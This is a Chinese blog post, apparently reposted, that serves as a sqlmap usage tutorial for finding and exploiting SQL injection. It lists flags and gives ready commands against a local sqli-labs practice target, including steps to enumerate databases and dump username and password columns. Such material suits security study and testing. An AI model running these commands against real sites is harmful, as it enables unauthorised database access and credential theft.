SQLmap常用命令/使用教程

本文阅读 2 分钟
首页 安全分享,WEB安全 正文

SQLmap是一款自动化SQL注入神器,用于SQL注入漏洞的检测和利用,支持多种数据库

检测位置

-u            -- 指定url(GET请求)
-p            -- 指定参数(url包含多个参数时,指定参数)
--data=        -- 指定POST请求参数
--cookie    -- 指定cookie参数
-r            -- 从文件中加载HTTP请求(在需要检测的Header后面加上*)

获取数据

--dbs        -- 获取数据库名
--tables    -- 获取表名
--columns    -- 获取字段名
--dump        -- 获取数据
-D    -- 指定数据库
-T    -- 指定表
-C    -- 指定字段

其他设置

--batch        -- 自动化确认
--tamper    -- 指定脚本
--dbms        -- 指定数据库类型
--os        -- 指定操作系统(windows/linux)
--level        -- 指定探测等级(1~5)
--current-db    -- 获取当前数据库的名字
-b    -- 获取数据库版本信息
-f    -- 获取数据库指纹
--users    -- 当前使用的用户
--delay    -- 设置延时
--technique    -- 指定注入方式
    U    联合注入
    E    报错注入
    B    布尔盲注
    T    时间盲注

针对不同的注入位置

GET请求注入

sqlmap -u http://192.168.40.129/sqli/Less-1/?id=1

POST请求注入

sqlmap -u http://192.168.40.129/sqli/Less-11/ --data="uname=lisi"

COOKIE注入

sqlmap -u xxx/index.php --cookie "uname=admin" --level 2 --dbs

HTTP请求头注入(User-agent/Referer/Cookie等HTTP Header),拦截get,post等HTTP请求,将所有请求内容复制到target.vm文件中,在需要检测的Header后面加上*,并且需要level>=3

sqlmap -r target.vm --level 3 --dbs

获取数据

获取所有数据库

sqlmap -u http://192.168.40.129/sqli/Less-1/?id=1 --batch --dbs

获取指定数据库中的所有表

sqlmap -u http://192.168.40.129/sqli/Less-1/?id=1 --batch -D security --tables

获取指定数据库中指定表的所有字段

sqlmap -u http:xxx/?id=1 --batch -D security -T users --columns

获取指定数据库中指定表中指定字段的所有数据

sqlmap -u xxx/?id=1 --batch -D security -T users -C username,password --dump

HTTP Header头注入

1.拦截post请求信息,并将请求信息的全部内容复制到文件中,

2.在需要检测的Header位置添加*

3.使用SQLmap对指定文件进行检测,SQLmap会自动检索*,从而对目标Header进行检测

img

 

本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/wangyuxiang946/article/details/119514174
-- 展开阅读全文 --
BUUCTF Web [极客大挑战 2019]Knife
« 上一篇 06-24
安全面试之XSS(跨站脚本攻击)
下一篇 » 07-24

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复